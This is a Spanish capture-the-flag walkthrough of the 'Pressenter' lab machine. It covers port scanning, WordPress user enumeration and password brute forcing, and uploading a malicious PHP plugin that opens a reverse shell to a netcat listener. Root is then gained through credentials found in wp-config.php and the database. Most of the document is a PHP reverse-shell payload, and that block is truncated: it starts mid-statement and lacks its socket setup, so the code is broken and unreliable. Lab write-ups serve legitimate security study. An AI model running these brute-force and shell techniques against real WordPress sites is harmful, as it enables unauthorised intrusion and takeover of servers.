> For the complete documentation index, see [llms.txt](https://shinki-organization.gitbook.io/dw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://shinki-organization.gitbook.io/dw/write-ups/quickstart/maquinas-faciles/pressenter-write-up.md).
# Pressenter write-up
## **Verificamos conexión con la máquina víctima**
## **Realizamos un escaneo de los puertos abiertos en la máquina víctima**
Utilizamos **nmap** para escanear los puertos abiertos con el siguiente comando:
```bash
sudo nmap -p- -sCVS --min-rate=5000 -vvv -Pn -n -O 172.17.0.2
```
El escaneo indica que el puerto 80 (HTTP) está abierto. Así que ingresamos la IP de la máquina víctima en el navegador y vemos lo siguiente:
Aparentemente, no hay nada interesante. Sin embargo, al inspeccionar el código fuente, encontramos lo siguiente:
Esto nos indica que existe una página llamada `pressenter.hl`, pero para esta funcione correctamente, primero debemos editar el archivo `/etc/hosts` para configurar la resolución local del nombre de dominio.
Una vez editado el archivo introducimos `pressenter.hl` en el navegador y vemos lo siguiente:
Vemos que parece que se está usando WordPress, así que ponemos la dirección `http://pressenter.hl/wp-admin` para comprobarlo.
Observamos que parece estar en uso WordPress., así que vamos a usar **wpscan** para listar los usuarios existentes con el siguiente comando:
```bash
wpscan --url http://pressenter.hl/ --enumerate u
```
Y nos indica que existe el usuario `pressi` y `hacker`, así que ahora vamos a hacer un ataque de fuerza bruta a los dos usuarios con el siguiente comando:
```bash
wpscan --url http://pressenter.hl/ --usernames "pressi,hacker" --passwords ../rockyou.txt
```
El resultado indica que la contraseña del usuario `pressi` es `dumbass`. Iniciamos sesión con esas credenciales.
Una vez dentro vamos a crear un plugin malicioso con el siguiente código:
```php
array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
// Mostrar mensaje de bienvenida a la shell
fwrite($sock, $welcome_message);
while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
// Check for end of STDOUT
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>
```
Ahora comprimimos el archivo en formato ZIP con el siguiente comando:
```bash
zip -r shell.zip shell.php
```
Procedemos a instalarlo en WordPress accediendo a la sección de plugins y haciendo clic en `Añadir nuevo plugin`. Después hacemos clic en `Subir plugin` y subimos el archivo `shell.zip` que hemos creado y hacemos clic en `Activar plugin`.
Una vez el plugin está activo solo tenemos que ponernos en escucha por el puerto 444 con **netcat** y introducimos la dirección `http://pressenter.hl/wp-content/plugins/shell/shell.php` en el navegador
Y así ya estaríamos dentro de la máquina víctima.
## **Escalada de privilegios**
Una vez dentro de la máquina víctima, navegamos hasta el archivo de configuración ubicado en `/var/www/pressenter/wp-config.php`, donde encontramos la siguiente información:
Así que usamos esas credenciales para acceder a la base de datos con el siguiente comando:
```bash
mysql -u admin -p
```
Buscando nos encontramos con la tabla `wp_usernames` la cual está en la base de datos llamada `wordpress` y contiene la contraseña `kernellinuxhack`:
Así iniciamos sesión como el usuario root esa contraseña y vemos que funciona correctamente.
